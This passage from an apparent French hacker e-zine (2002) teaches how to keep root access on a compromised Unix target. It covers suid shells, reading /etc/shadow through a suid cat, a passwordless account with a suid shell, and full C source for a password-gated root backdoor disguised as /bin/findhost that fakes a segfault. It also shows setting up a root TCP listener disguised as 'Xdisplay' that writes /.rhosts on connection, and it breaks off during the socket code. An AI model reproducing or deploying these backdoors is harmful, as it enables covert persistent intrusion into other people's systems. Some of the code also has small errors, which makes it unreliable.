-
-
[user@cible.com]$
Voila, si vous avez rendu suid /bin/cat, vous avez donc accès au fichier
/etc/shadow en lecture. Notez que ce truc est aussi valable avec /bin/more
ou encore /bin/grep.
.shell suid : Le shell suid est une backdoor des plus simples,
qui permet, à partir d'un compte utilisateur, d'exécuter un shell avec les privilèges
root. Seulement voila, la notion de suide est curciale pour la suite donc nous reviendrons
plus en détail dans le second paragraphe. On peut combiner le shell suid avec une modifica-
-tion de /etc/password comme nous le verrons plus tard, ce qui a pour avantage de se
logger en tant qu'user mais d'avoir les privilèges root via le shell suid.
.setuid backdoor : Il s'agit d'une backdoor programmable. Sa
conception est simple mais nécessite de connaître les fonctions appropriées.
Cette backdoor ne peut être utilisée que si l'on à le bon mot de passe.
On va consacrer toute la seconde partie à ce type de backdoors.
.TCP backdoor : Fallait bien que je trouve un nom à celle-ci !
C'est un type de backdoor qui est basé sur un système client/serveur et qui nécessite
une bonne connaissance en programmation réseau. Le principe est simple cependant :
Un serveur est lançé en root, en arrière plan, et attend la connction sur un port.
A la connection, le serveur exécutera soit un shell, soit d'autres actions prédéterminées.
Cette sorte de backdoors mériera un article à elle seule ; on aura l'occasion d'y revenir.
Nous venons de voir les principaux types de backdoors. Si ce n'est pas le cas des plus
simples, en revanche, les backdoors plus évoluées demandent de maîtriser certaines notions.
Voici justement quelques notions importantes ...
2) Les notions clés :
_____________________
Nous allons voir deux points importants, la notion de suid et une
backdoor qui en découle, le shell suid.
[ La notion de SUID ]
Sur un système, de nombreux programmes appartiennent au root mais sont
sensés être utilisables par de simples users avec les privilèges root.
Un exemple concret, l'exécutable "password" qui se situe généralement dans
/bin. La commande "password" qui invoque cet exécutable est utilisée par un
user pour changer le mot de passe presonnel attribué à son compte. Lorsqu'il
l'utilise, il est invité à entrer son ancien mot de passe pour s'authentifier,
puis a entrer le nouveau. Le problème est que cette commande doit apporter
des modifications dans le fichier de mot de passe qui n'est autre que le
célèbre /etc/passwd ou /etc/shadow le cas échant. Seulement ces fichiers
sont en écriture uniquement pour le root et ne peuvent donc pas en théorie
être modifiés par un processus utilisateur.
C'est là qu'intervient la notion de SUID. Le terme "SUID" est la contraction
de "set-uid". Lorsque un exécutable est "suid", il peut être exécuté par tous,
avec les privilèges (uid) de son propriétaire.
Dans notre exemple, le propriétaire de /bin/passwd est le root, uid=0.
Si ce programme est suid, cela signifie qu'il sera exécuté avec les
privilèges du propriétaire, donc uid=0, ou plus exactement que même
s'il est lançé par un simple utilisateur, le processus aura les privilèges
root durant son exécution.
De cette manière, /etc/passwd poura être modifié par un processus utilisateur.
Dans la pratique, la notion de suid se matérialise
par la présence d'un bit "s" dans le listing des fichiers :
[user@localhost]$ ls -al /bin/passwd
-rwsr-sr-x 1 root root 12345 01 Oct 20:32 passwd
[user@localhost]$
On voit que le bit "s" prend la place du bit "x" d'exécution.
Bon, ça c'est pour le premier "s", mais alors, pourquoi y en a t-il 2 ?
Eh bien tout simplement parce que le second "s" est le bit "SGID" qui
signifie "Set Group ID" ou "Donne l'ID du groupe". Lorsque ce bit
est présent, il donne au processus le gid du groupe auquel appartient
le propriétaire de l'exécutable. Dans notre exemple, le bit sgid est
présent donc le processus engendré par l'exécution du programme
aura les privilèges du groupe root.
Le fait qu'un utilisateur puisse lançer un processus avec les droits
du root n'est pas sans risque. Dans notre exemple, les droits du root
ne seront cédés que pendant le laps de temps de l'exécution de la
commande. Mais s'il était possible de faire exécuter à un programme suid
une une autre commande, et cela avec les droits du root ...
Les exécutables suid dont on peut abuser sont à l'origine de nombreux exploits.
Imaginez maintenant que l'exécutable suid soit un shell, c'est à dire
un interpréteur de commandes. Dans ce cas, le shell aurait les privilèges
du root durant son exécution, c'est à dire que tout les commandes entrées
au prompt de ce shell seraient exécutées en root ...
C'est une autre forme de backdoor trés simple apellée "shell suid".
[ Le shell suid ]
Comme nous l'avons dit, cette backdoor consiste à rendre un shell
suid et faire en sorte que ce shell soit la propiété du root si
ce n'est pas déja le cas. Pour cela, il suffit de copier un shell
( sh, bash, csh, tcsh ... ) dans un dossier et de le rendre suid.
La commande utilisé a une syntaxe assez simple.
Il s'agit de chmod.
Chmod signifie "change mode". C'est la commande
qui va permettre de changer le mode, les permissions de notre shell.
Nous n'allons pas entrer dans les détails de la commande chmod, mais
on va simplement rapeller sa syntaxe à travers un exemple.
Ici, nous allons créer un shell suid en copiant le shell /bin/sh
dans /bin sous le nom de shell. Notre backdoor sera suid et passera
donc plus inaperçue dans la foule d'autres exécuatbles suid que dans
/tmp ou autre. Voici comment on va s'y prendre.
[root@cible.com]# cp /bin/sh /bin/shell
[root@cible.com]# chmod a+s /bin/shell
[root@cible.com]#
Chmod, apellé avec l'argument a+s va rendre suid /bin/shell
pour tout le monde ('a'='all').
Pour enlever le bit suid, la commande aurait été apellée avec "a-s".
L'équivalent en utilsant les chiffres plutôt que les symboles
serait :
[root@cible.com]# cp /bin/sh /bin/shell
[root@cible.com]# chmod 7555 /bin/shell
[root@cible.com]#
Cela revient au même.
Dans le cas présent je trouve plus simple la formulation "a+s"
( qui d'ailleurs peut s'abréger "+s" ). L'avantage d'utiliser
l'écriture chiffrée apparait lorsque l'on est ammené à manipuler
plusieurs modes en même temps.
C'est à vous de choisir entre l'une et l'autre écriture.
Nous allons donc copier notre shell dans /tmp/shell et le rendre
suid. Voici comment utiliser cette backdoor :
[root@cible.com]# whoami
root
[root@cible.com]# cp /bin/sh /tmp/shell
[root@cible.com]# chmod +s /tmp/shell
[root@cible.com]# exit
[user@cible.com]$ whoami
user
[user@cible.com]$ pwd
/home/user
[user@cible.com]$ ls -al /tmp/shell
-rwsr-sr-x 1 root root 12345 01 Oct 21:30 shell
[user@cible.com]$ cd /tmp
[user@cible.com]$pwd
/tmp
[user@cible.com]$./shell
[root@cible.com]# whoami
root
[root@cible.com]#
Une variante :
Parmi les différentes sortes de shell existant ( sh, bahs, csh, tchs, ksh )
il se peut que tous ne soient pas disponnible. Dans notre exemple, on va dire
que ksh n'existe pas. Dans ce cas, en tant que root, vous copiez /bin/sh
sous /bin/ksh et vous le rendez suid.
Puis vous repérez un utilisateur que ne s'est jamais connecté ou pas depuis
longtemps, vous éditez le fichier passwd et modifiez la ligne correspondante
au compte de cet utilisateur, vous enlevez son mot de passe et changez son
shell en /bin/ksh, puis vous changez la date de modification du fichier passwd.
De cette façon, vous pourrez vous connecter sur un shell suid sous
l'identité d'un utilisateur x sans mot de passe.
C'est une utilisation sympathique mais qui risque d'être vite repéree
si l'admin vérifie méthodiquement les entrées du fichier passwd.
Voila, nous avons fait le tour du sujet, vous savez à présent ce qu'est
un shell suid et comment il s'utilise.
Nous allons par la suite nous intéresser à la programmation d'une
backdoor toujours trés simple, mais qui demande quand même quelques
conaissances en C.
Alors me direz vous, pourquoi avoir parlé pendant 5Ko de shell suid, vu
qu'on ne va pas en parler dans le reste de cet article ?
Eh bien tout simplement parceque notre future backdoor devra elle
aussi être suid pour fonctionner. Donc si vous avez pigé la notion
de SUID grace à l'exemple du shell, alors c'est tout benef pour la suite.
[ UID réel et UID effectif ]
L'uid réel est l'id qui est attribuée à l'utilisateur au début de la session.
C'est son identifiant de login. C'est le n° d'identification sous lequel le
système nous connait. Il peut cependant être modifié, c'est le cas lors de la
commande su. En effet, lorsqu'on fait un "su", on substitue notre id par celui
d'un autre utilisateur ou par celui du root. Lors d'un su root, notre uid réelle
sera donc celle du root, c'est à dire 0.
L'uid effectif, encore notée euid, est l'id que l'on possède temporairement,
dans une situation précise. C'est l'id qui est effectif à un instant t.
Dans une situation normale, uid et euid, uid réel et effectif, son identiques.
Mais lorsqu'on exécute un programme suid, comme /bin/passwd que nous avons vu plus
haut, on endosse l'uid du root, le temps que la commande soit exécutée.
A cet instant précis, notre uid réel est toujours la même mais notre euid est à 0.
Pour vous donnner un exemple, compilez ce qui suit :
------------------------8<-------------------------------------------------------------------
#include <stdio.h>
#include <unistd.h>
int main ()
{
printf("\nUID = %s\t GID = %s\t EUID = %s\n", getuid(), getgid(), geteuid());
return 0;
}
------------------------8<-------------------------------------------------------------------
( On reviendra dans le prochain chapître sur les fonctions getuid() ).
En admettant que vous soyez :
user:*:500:20: Vous :/home/user:/bin/sh
Dans ce cas, votre uid est 500 et votre gid est 20.
Vous compilez et exécutez le programme d'exemple :
[user@localhost]% gcc exemple.c -o exemple
[user@localhost]% ./exemple
UID = 500 GID = 20 EUID = 500
[user@localhost]%
Vous voyez donc qu'à cet instant, votre uid effectif est le même que votre
uid réel. Maintenant, exécutez le en tant que root :
[user@localhost]% su
Password :
[root@localhost]# whoami
root
[root@localhost]# ./exemple
UID = 0 GID = 0 EUID = 0
[root@localhost]#
Le su vient de plaçer votre uid/gid à 0. On voit, dans ce cas, que
l'uid effectif est le même que l'uid réel, à savoir 0.
Maintenant, rendez le suid root, et exécutez à nouveau en tant que "user" :
[root@localhost]# whoami
root
[root@localhost]#
[root@localhost]# chown root exemple
[root@localhost]# chgrp root exemple
[root@localhost]# chmod +s exemple
[root@localhost]# ls -al exemple
-rwsr-sr-x 1 root root 12345 14 0ct 12:12 exemple
[root@localhost]# exit
[user@localhost]% whoami
user
[user@localhost]% ./exemple
UID = 500 GID = 20 EUID = 0
[user@localhost]%
Ici, l'euid est à 0. En fait, lorsqu'on exécute un programme suid, nous
avons les privilèges du root le temps de l'exécution, et pendant ce laps
de temps, notre euid est à 0 tandis que notre uid réel reste inchangé.
Notre backdoor devra être suid root, dans le cas contraire, elle serait mal
installée et ne pourrait pas fonctionner.
Il faut donc contrôler qu'elle soit bien suid et nous verrons comment faire
dans la suite.
Voila, on à fait le tour de toutes les notions à connaître et on va pouvoir
entrer dans le vif du sujet.
Partie II : Programmation
__________________________
Maintenant que nous savons ce qu'est une backdoor est comment elle
fonctionne, nous allons voir comment en programmer une de notre cru.
On va parler ici de la "setuid" backdoor.
Nous avons donc besoin de quelques notions de programmation pour y
parvenir. Mais tout dabord, faisont la liste de ce dont nous avons
besoin.
[ Objectifs ]
Nous voulons un programme :
- qui soit discret ...
- qui soit suid
- qui nous donne uid/gid 0
- qui nous donne un shell
avec les privilèges root
OK, le programme n'est pas compliqué mais il requiert certaines
fonctions qu'on ne peut pas inventer ...
1) Notions utiles :
__________________
[ Un uid 0 ]
Nous voulons pouvoir exécuter des commandes en tant que root,
et le mieux est de le faire via un shell. Ce shell doit être
exécuté avec les privilèges root, c'est à dire avec un uid à 0.
Il existe en C une fonction qui se charge de changer notre
uid par un autre qu'on lui spécifie. Mais le système ne
laissera pas un processus utilisateur, en l'occurence notre
backdoor, changer notre uid contre celle du root. Si notre
backdoor est exécutée avec les droits d'un simple utilisateur,
le changement d'uid ne pourra pas se faire. En revanche, si
notre exécutable est suid root, le processus aura les privilèges
root durant son exécution. Durant ce laps de temps, le changement
d'uid pourra être demandé avec succès. C'est pourquoi notre backdoor
devra être suid et appartenir au root.
La fonction qui se charge de modifier notre uid est "setuid();" .
[ setuid(), setgid() ]
La fonction "setuid();" sert à fixer notre uid.
Elle est décrite dans le header <unistd.h>.
Sa sysntaxe est :
#include <unistd.h>
setuid ( uid_t uid );
Comme le programme sera suid, la fonction sera exécutée avec les droits
du root et poura donc fixer notre uid à 0.
Une fonction analogue est setgid(); laquelle permet de modifier
notre gid. Sa syntaxe est identique.
Ce sont ces deux fonctions qui permettent de modifier notre uid/gid
en leur substituant ceux du root.
On va donc écrire :
setuid(0);
setgid(0);
Une fois nos uid/gid fixés, nous devons exécuter un shell.
[ system(); ]
La fonction system(); permet d'exécuter une commande de notre
choix. Dans cette situation, notre choix va se porter sur un shell.
On va donc demander à la fonction system de nous exécuter le shell bash.
Sa syntaxe est :
#include <stdlib.h>
int system (char *commande);
Nous allons lui demande d'exécuter un shell ce qui va donner :
#include <stdilb.h>
#define cmd "/bin/bash"
system(cmd);
Comme les fonctions setuid()/setgid() auront mis notre uid/gid à 0
juste avant, notre shell sera exécuté avec les droits du root.
[ Les arguments ]
Nous voulons un programme qui soit assez discret de manière à ce que l'admin
ne le découvre pas. Il doit donc porter un nom crédible, et faire illusion.
On peut lui donner un nom comme "display" ou "findhost" et pourquoi pas
le mettre suid dans /bin ce qui revient à créer un nouvelle commande.
Le mieux est de faire en sorte qu'il ne fournisse un accès root que lorsqu'il
est apellé avec un certain argument. Dans le cas contraire, il devra simuler
un erreur du genre de "Bus error" ou encore "Segmentation Fault".
Il y aura un argument à entrer sur la ligne de commande donc le main doit
être apellé par :
int main ( int argc, char *argv[] )
où argc signifie "argument count", est de type int et désigne le nombre d'arguments
de la ligne de commande.
Ici, argv[] est un pointeur de type char qui pointe sur un tableau ... de pointeurs.
Il signifie "arguement vector".
Donc, argv[0] désigne l'exécutable en lui-même, et argv[1], le premier argument.
Comme il n'y aura qu'un argument à entrer, argc=2 car l'argument 0, le programme
est aussi à prendre en compte comme élément de la ligne de commande.
Notre backdoor devra donc contrôler le nombre d'arguments :
if (argc!=2){
fprintf(stderr,"Usage : %s option\n", argv[0]);
exit(1);
}
Ce message sera affiché si le programmme est lançé sans argument, ou avec trop d'arguments,
donc si le nombre d'arguments est différent de 2 ( le prog + 1 argu ).
La fonction fprintf(); sert ici à affichier le texte sur la sortie d'erreur ("stderr")
qui est par défaut l'écran.
Une fois le nombre d'arguments controlé, on doit comparer l'argument définit comme
mot de passe avec l'argument entré sur la ligne de commande. S'il s'agit du bon
argument, le programme donnera un shell avec les privilèges root, dans le cas contraire,
vous obtiendrez un message d'erreur crédible.
[ strcmp (); ]
La fonction strcmp(); signifie "string compare" et à pour role de comparer
le contenu de deux varaibles ou de deux chaines de type char.
Cette fonction retourne la valeur 0 lorsque les chaînes sont identiques.
Elle est définie dans le header <string.h> et sa syntaxe est :
#include <string.h>
char chaine1, chaine2;
strcmp( chaine1, chaine2 );
On va donc pouvoir comparer l'argument fourni à la ligne de commande
argv[1] avec le mot de passe que l'on aura défini au préalable.
#include <stdio.h>
#include <string.h>
#define password "fox"
/* Si l'argument est le bon mot de passe */
if(strcmp(password, argv[1])==0){
/* alors donne le shell root */
}
/* Sinon ... */
else {
/* ... erreur */
fprintf(stderr,"Segmentation Fault\n");
exit(1);
}
Dans cet exemple, pour obtenir un shell avec les privilèges root,
il faut exécuter notre backdoor avec l'argument "fox". Dans le
cas contraire, on obtient un vrai faux message d'erreur.
En somme, notre programme se fait passer pour un exécutable
tout ce qu'il y a de plus classic mais ne fait office de backdoor
que si vous possédez le bon mot de passe.
[ SUID ]
Nous savons que pour fonctionner, notre backdoor doit être suid root.
En pratique, cela veut dire que nous pouvons l'exécuter avec les
droits du root, et qu'à ce moment précis, notre euid, uid effectif doit
se trouver à 0. Si ce n'est pas le cas, cela signifie que notre backdoor
n'est pas suid root et a mal été installée ; ce n'est plus la peine de
continuer car de toute façon, elle ne pourra pas fournir les services
attendus.
[ getuid(), getgid(), geteuid() ]
De la même manière qu'il existe les fonction setuid() pour plaçer notre
uid à la valeur que l'on désire, il en existe d'autres servant à mesurer
la valeur de notre uid/gid/euid :
getuid() retourne la valeur de notre uid.
getgid () retourne la valeur de notre gid.
geteuid() retourne la valeur de notre euid.
Ces fonctions s'exécutent toujours avec succès, et ne commettent jamais
d'erreur. Elles sont décrites dans le header <unistd.h>.
Pour contrôler que notre euid soit bien à 0 lors du début de l'exécution
de notre backdoor, nous allons donc utiliser :
#include <unistd.h>
if (geteuid()!=0){
printf("Error\n");
exit(1);
}
Ainsi, dans le cas où notre programme serait mal installé, le programme mettra
fin de lui même à son exécution. Une fois cette vérification effectuée, et
si tout s'est bien déroulé, le programme poursuit normalement.
Voila, on vient de voir les différentes étapes de la programmation
de cette backdoor, je vous donne le code source entier juste aprés ça :
2) Installation :
_________________
Vous êtes root et vous avez la source de votre backdoor. On va donc la
compiler et rendre suid l'exécutable avant de le dissimuler.
J'ai baptisé la backdoor "comeback.c" ...
[root@cible.com]# gcc comaback.c -o come
[root@cible.com]# mv come /bin/findhost
[root@cible.com]# chmod +s /bin/findhost
[root@cible.com]# rm comeback.c
[root@cible.com]# ls -al /bin/findhost
-rwsr-sr-x 1 root root 12345 01 Oct 12:15 findhost
[root@cible.com]# exit
[user@cible.com]$ whoami
user
[user@cible.com]$ findhost
Usage : findhost option
[user@cible.com]$ findhost essai
Segmentation Fault
[user@cible.com]$ findhost fox
Comeback v1.0 by neo_fox [IOC]
[root@cible.com]#
Une installation tout ce qu'il y a de plus simple !
3) Comeback.c :
_______________
Comme promis voici le code source complet :
-------------8<--- cut here --------------------------------------------------------------
/* Comeback.c by NeoFox - © 2002 [IOC] - */
#include <stdio.h> /* printf, fprintf */
#include <string.h> /* strcmp */
#include <unistd.h> /* setuid, setgid */
#define password "fox" /* As you want ... */
#define command "/bin/sh" /* Our shell */
#define MSG "\033[1;31mComeback v.2 by neofox [IOC]\033[0m\n"
int main ( int argc, char *argv[] )
{
/ * Only one argument ! */
if (argc!=2){
fprintf(stderr,"Usage : %s option\n", argv[0]);
exit(1);
}
/* Checking password ... */
if (strcmp(password, argv[0])==0){
/* the backdoor must be suid root */
if(geteuid()!=0){
fprintf(stderr,"Comeback is not SUID Root, exit !\n");
exit(1);
}
/* Allright, let's go ! */
fprintf(stdout,MSG);
setuid(0);
setgid(0);
system(command);
} else {
/* Sorry ! */
fprintf(stderr,"Segmentation Fault\n");
exit(1);
}
return 0;
}
-------------8<--- cut here --------------------------------------------------------------
[ Conclusion ]
Voila, en espérant que vous ayez appris quelque chose de ce texte ...
Je vais conclure comme d'habitude en vous disant que si vous avez des questions,
des suggestions ou des remarques à me faire parvenir, n'hésitez pas à me mailer
ou prenez rendrez-vous avec ma secrétaire !
neo_fox_2001@hotmail.com
UIN #130722451
NeoFox
---------------------------------------------------------------------------------------------
VI. Backdoors & Prog réseau par NeoFox
---------------------------------------------------------------------------------------------
[ Introduction ]
Bien que la technique soit connue, j'avoue ne jamais avoir trouvé de textes
expliquant cette dernière en détail. Je vous propose donc un tutorial sur
l'utilisation de la programmation "réseau" dans le but de grader l'accès à
un système. En d'autres termes, on va parler de backdoors basées sur le
principe client/serveur, et nous allons voir également comment les mettre
en oeuvre. Cela requiet déja certaines compétences, aussi j'attends de vous
d'avoir quelques connaissances en Prog C, Unix et TCP/IP. On va commençer
par voir dans un premier temps le principe de cette backdoor puis comment
la programmer, fallait s'y attendre.
Bonne lecture et rendez-vous dans 25 Ko !
- | Part I : Principe | -
-> fonctionnement
-> Utilisation
A. Vous avez dit Backdoor ? (bis) :
___________________________________
Pourquoi se compliquer la vie avec une backdoor client/serveur alors que l'on peut
se contenter d'un shell suid ou d'une setsuid backdoor ? Eh bien je pense que si
vous lisez ceci, c'est que comme moi vous préférez la difficulté à la simplicité
non ?
[ Oups ... ]
On est venu, on a vu, on a vaincu ( quoi que ... ), pis on est reparti.
Au passage, on a plaçé deux ou trois backdoors : un shell suid et une setuid
backdoor. L'admin à découvert notre présence sur sa machine et à patché la faille
qui nous a laissé entrer, il a aussi changé tous les mots de passe, et il
s'est rendu compte que /bin/findhost ... ben, ça existe pas et à donc viré notre
setuid, pis dans la foulée, le shell suid planqué dans un .term d'un homedir.
En résumé, vous n'avez plus l'accès root, et d'ailleurs, cela ne vous servierait à rien
vu que vous n'avez même plus d'accès du tout !
Plus d'accès ni par telnet car les pass on été changés, ni par rlogin car
il n'y a plus de fichiers .rhosts nulle part. C'est dans un cas comme ça qu'on voit
l'utilitée d'une backdoor sous forme d'un serveur, qui, lançé en root, en local, sur la
cible, exécuterait pour nous des commandes de niveau root lorsqu'il serait activé
à distance. Ce serveur vous permettrait de retrouver directement un accès root même
si on vous a repris votre account sur la machine.
[ Allo, j'écoute ?! ]
Jusqu'ici j'ai parlé d'une backdoor basée sur un principe de client/serveur, mais
toute la backdoor n'est enfait constituée que d'un serveur dont le rôle sera d'exécuter
certaines commandes lorsqu'une connection aura lieu sur un port donné.
Notre serveur doit donc ouvrir un port, puis écouter ce port, et attendre qu'une
connection soit établie dessus. A partir de là, le serveur se contente d'exécuter
une commande particulière et mets fin à la connection. Dans la suite de cet article,
on va apprendre à programmer un mini serveur qui ouvrira un port et exécutera une
commande en remote lorsqu'une demande de connection y arrivera.
[ Et le client dans tout ça ? ]
Si on sait ce qu'il en est du serveur, en revanche, on a pas encore parlé du client.
De deux choses l'une : vous pouvez coder un petit programme qui se connecte au port
de la machine sur lequel le serveur est en écoute, mais dans notre cas, on peut tout
aussi bien utiliser Telnet. En admettant que le serveur écoute le port 1407,
un petit :
% telnet host.cible.com 1407
suffierait à faire exécuter notre commande au serveur, aprés quoi, ce dernier met
fin à la session et continue à écouter le port dans l'attente d'une autre
connection.
[ Les comandes ]
Quelles sont les commandes que l'on peut faire exécuter à notre serveur ?
Tout dépend de ce que vous voulez faire. Vous pouvez créer un nouvel
utilisateur avec un uid/gid à 0 mais le mieux, pour une question de
discrétion est de créer un /.rhosts.
[ Vérifications ]
Avant de commençer il faudra contrôler que le programme soit apellé sans argument
et qu'il est soit exécuté par le root, ou dumoins qu'il soit suid root.
On vérifiera donc en premier lieu qu'il n'y a pas d'arguement.
On vérifiera ensuite qu'on ait bien les privilèges root au moment où notre exécutable
sera lançé. A ce moment là, notre id effective devra être à 0. En effet, un /.rhosts ne
pourra pas être crée par un processus utilisateur mais seulement par un processus root,
d'où l'intêret que le serveur soit "lançé en root".
Pour plus d'explications sur les uid effectives et réelles, reportez vous à mon article
"Backdoors, concept & réalisation" .
[ Backserv ]
Pour illustrer mes propos, je vais m'appuyer sur un code source que j'ai apellé
"backserv.c". Pourquoi backserv ? eh bien parcequ'il s'agit d'une backdoor sous
forme de serveur, tout simplement.
B. L'utilisation :
__________________
[ Installation ]
Le but du jeu, lorsqu'on a le root, est d'installer sa backdoor le plus discrétement
possible. On complie la backdoor, on vire le source et on plaçe l'exécutable dans un
répertoire peu fréquenté, genre /dev ou autre, à partir de la, on la lançe en arrière
plan, puis on peut se casser. Vu qu'il a été lançé en root, on pourra lui faire exécuter
en remote des commandes de niveau root. Il faut auparavant regarder la liste des processus
qui tournent en arrière plan afin de donner un nom crédible à notre exécutable.
Ici on va prendre "Xdisplay".
Voici comment proceder :
[root@cible.com]# whoami
root
[root@cible.com]# pwd
/dev/xdb57
[root@cible.com]# ls
backserv.c
[root@cible.com]# ps aux <- "ps -aux" trés simplifié
USER PID COMMAND
root 1 init
nobody 250 identd
root 4230 bash
[root@cible.com]# gcc backserv.c -o Xdisplay
[root@cible.com]# chmod 655 Xdisplay
[root@cible.com]# ls -al
-rwxr-xr-x 1 root root 12345 12 Oct 12:12 Xdisplay
-rw-rw-rw- 1 root root 12345 12 Oct 12:02 backserv.c
[root@cible.com]# ./Xdsiplay&
[1] 4236
[root@cible.com]# ps aux
USER PID COMMAND
root 1 init
nobody 250 identd
root 4230 bash
root 4236 Xdisplay <- On voit le processus de notre backdoor
[root@cible.com]# rm -f backserv.c
[root@cible.com]# exit
[user@cible.com]% exit <- On vire le source et on se casse
Voila, notre serveur est installé, et lançé en root.
A partir de ce moment là, un port est ouvert sur la machine cible et
le serveur écoute ce port. Lorsqu'une connection arrivera sur ce port,
le serveur exécutera ses instructions avec les privilèges root.
[ Utilisation ]
Nous avons installé notre backdoor, en écoute au port 1407.
L'avantage de cette forme de backdoor est qu'elle peut être
activée soit en local, soit à distance.
Pour activer notre engin, jusque là en standby, il nous faut
nous connecter au port 1407. Dans cet exemple, on va le déclancher
en remote en utilisant Telnet :
[nous@localhost]% telnet cible.com 1407
Trying 123.25.6.25
Connected to cible.com
Escape character is '^]'.
-------------------------
- © 2002 IOC -
Creating /.rhosts ...
OK, exiting !
-------------------------
Connection closed by foreing host
[nous@localhost]%
Voila, un petit message d'acceuil nous informe que la connection
est établie avec notre serveur et que le fichier .rhosts est
crée, puis la connection est interrompue.
L'utilisation est simple et efficace.
[ Resumé ]
Avant de passer à l'aspect programmation, on va récapituler.
Il nous faut un serveur lançé en root qui :
- ouvre un port
- attend une connection
- accepte la connection
- nous fait livrer une pizza
- exécute notre commande
- met fin à la connection
Soit autant de fonctions à utiliser ...
On va voir tout ça en détail dans un instant.
- | Part II : Programmation | -
-> Notions nécessaires
-> Prog. pas à pas
-> backserv.c
Là où je vais m'efforcer d'expliquer chaque petite subtilité de la manoeuvre,
d'autres se seraient contentés de décrire grossièrement un code, question de
point de vue ...
A. Notions nécessaires :
________________________
On va parler maintenant des bases de programmation nécessaires à la conception
de notre outil, et on va pour ce faire, dresser la liste des fonctions que nous
allons utiliser en fonctions justement de ce que nous attendons de notre backdoor.
Le mieux dans notre cas est d'examiner les différentes fonctions dans l'ordre dans
lequel elles vont intervenir.
[ En cas d'erreur ]
Dans un souci de présentation, on va gérer les erreurs éventuelles de chaque fonction
en même temps que les fonctions elles mêmes. La fonction perror() va nous aider.
Sa syntaxe est :
#include <errno.h>
perror( char *message);
Cette fonction permet en cas d'erreur d'afficher un message personnalisé.
[ geteuid() ]
Les commandes qui sont destinées à être exécutées par la backdoor doivent l'être
en tant que root. Le système ne laissera pas un processus utilisateur créer un
/.rhosts, et c'est donc en tant que root que nous devrons lançer notre backdoor.
Je me répete là non ? Toujours est il qu'il faudra donc l'avoir bien installé.
Tout cela pour vous dire qu'au moment précis de son exécution, notre id effective
ou euid devra être à 0. La fonction geteuid() permet de saisir cette valeur afin
de la controler :
#include <unistd.h>
geteuid( uid_t uid );
En pratique, on obtiendra :
#include <unistd.h>
/* Si t'es pas root, tu dégage !*/
if (geteuid()!=0){
fprintf(stderr,"Only root can run this !\n");
exit(1);
}
Si notre id effective n'est pas 0, le serveur ne sera pas autoriser à créer un /.rhosts
et ce n'est même pas la peine d'aller plus loin, donc exit.
Ces quelques lignes permettent donc de vérifier que l'on soit bien root au moment
de la lançer.
[ Le vif du sujet : socket() ]
Les sockets permettent à deux processus situé sur deux machines distantes de communiquer.
Ils définissent quels protocoles doivent entrer en jeu et cela en fonction du type de réseau
sur lequels on se trouve. Sur un réseau qui exploite TCP/IP, les protocoles qui vont entrer
en action sont IP et TCP ou UDP.
La fonction socket() a pour rôle de créer le socket en spécifiant les protocoles utilisés.
Sa syntaxe est :
#include <sys/types.h>
#include <sys/socket.h>
socket( int family, int type, int x);
Le paramètre family :
Il prend la valeur AF_INET lorsque on utilise le portocole Internet.
Le paramètre type prend la valeur :
SOCK_STREAM lorsque l'on va communiquer sous TCP.
SOCK_DGRAM lorsque c'est UDP qui prend en charge la transmission.
SOCK_RAW lorsqu'on forge soi même ses propres paquets.
Dans notre cas, nous allons communiquer sous TCP et la valeur du paramètre type sera
par conséquent SOCK_STREAM.
Enfin, le paramètre x correspond à un protocole additionnel, dont je sais peu de choses
sinon que sa valeur est généralement de 0.
le socket est donc défini par :
#include <sys/socket.h>
#include <sys/types.h>
int sock;
sock=socket( AF_INET, SOCK_STREAM, 0);
Si la création du socket s'est déroulée sans problèmes, la valeur 0 est retournée.
Dans le cas contraire, si une erreur survient, on obtient le code -1.
Voici comment gérer le code d'erreur tout en créant le socket :
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
int sock;
if ((sock=socket( AF_INET, SOCK_STREAM, 0))==-1){
perror("socket");
exit(-1);
}
Si la valeur de l'identifiant "sock" du socket est de -1, l'erreur est traitée
par perror, dans le cas contraire, donc tout s'est bien déroulé et le socket est crée.
[ bind() ]
La fonction bind sert à définir la manière dont devra être acceptée la connection.
Elle désigne le socket à utiliser, le numéro de port à ouvrir et les adresses d'ou
peuvent être acceptées les connections. Pour cela, la fonction bind prend pour
argument le socket, une structure de type "sockaddr_in" et la longueur de cette
structure. Les headers à inclure sont <sys/socket.h> et <sys/types.h>.
Le synopsis de cette fonction est :
#include <sys/types.h>
#include <sys/socket.h>
int sock;
struct sockaddr_in strucutre;
bind (sock, (sockaddr_in *)&structure, sizeof(structure));
En cas d'erreur bind() retourne -1.
[ La strucutre locale ]
La structure utilisée par bind() renseigne sur l'hôtre local, en l'occurence
notre cible, la machine sur laquelle nous allons installer la backdoor.
Cette structure comporte plusieurs champs qu'il nous faut renseigner :
=> le champ sin_family qui déisgne la famille de protocoles a utiliser.
=> le champ sin_port qui désigne le port à ouvrir et écouter.
=> le champ sin_addr.s_addr qui désingne la machine qui aura droit de
se connecter à ce port.
Pour remplir un champ de la structure 'structure' on procède comme suit :
structure.nom_du_champ = valeur
Comme notre structure est relative à l'hôte local, on va l'apeller 'local' ce
qui va donner les champs suivants :
local.sin_family
local.sin_port
local.sin_addr.s_addr
Avant de remplir notre structure, il faut au préalable initialiser les champs à 0.
C'est la fonction bzero() qui s'en charge.
Son synopsis est :
#include <string.h>
bzero( void *s, size_t n );
Concrétement, cela se traduit par :
#include <string.h>
bzero(&structure, taille );
Pour remplir les 10 premiers bits de la structure local :
#include <string.h>
bzero(&local, 10);
La taille de la structure 'local' est "sizeof(local);", logique.
Donc pour remplir TOUTE la structure 'local', on utilise :
#include <string.h>
bzero(&local, sizeof(local));
On peut maintenant renseigner les trois champs de notre structure locale :
=> Comme on utilise le protocole Internet, la valeur du champ
sin_family est trés souvent, et c'est le cas ici, "AF_INET".
Ce qui donne :
local.sin_family = AF_INET;
=> La valeur du port à écouter est de type int mais doit être
convertie en nombre binaire pour intégrer la structure utilisée
par bind(). La fonction htons() se charge de cette conversion.
Sa syntaxe est :
#include <netinet/in.h>
htons( int port );
Ce qui nous donne un champ sin_port :
#include <netinet/in.h>
#define PORT 1407
local.sin_port = htons(PORT);
Attention, pour que bind puisse ovrir un port, il faut que celui-ci
ne le soit pas déja. Choisissez un numéro de port > à 1024, du genre
de ceux qui ne sont pas attribués.
=> Enfin, le champ sin_addr.s_addr désignant l'hôte autorisé à ce connecter
doit être rempli avec la valeur INADDR_ANY ce qui signife que la connection
sur ce port est autorisée quel que soit l'hôte client.
Ainsi :
local.sin_addr.s_addr = INADDR_ANY;
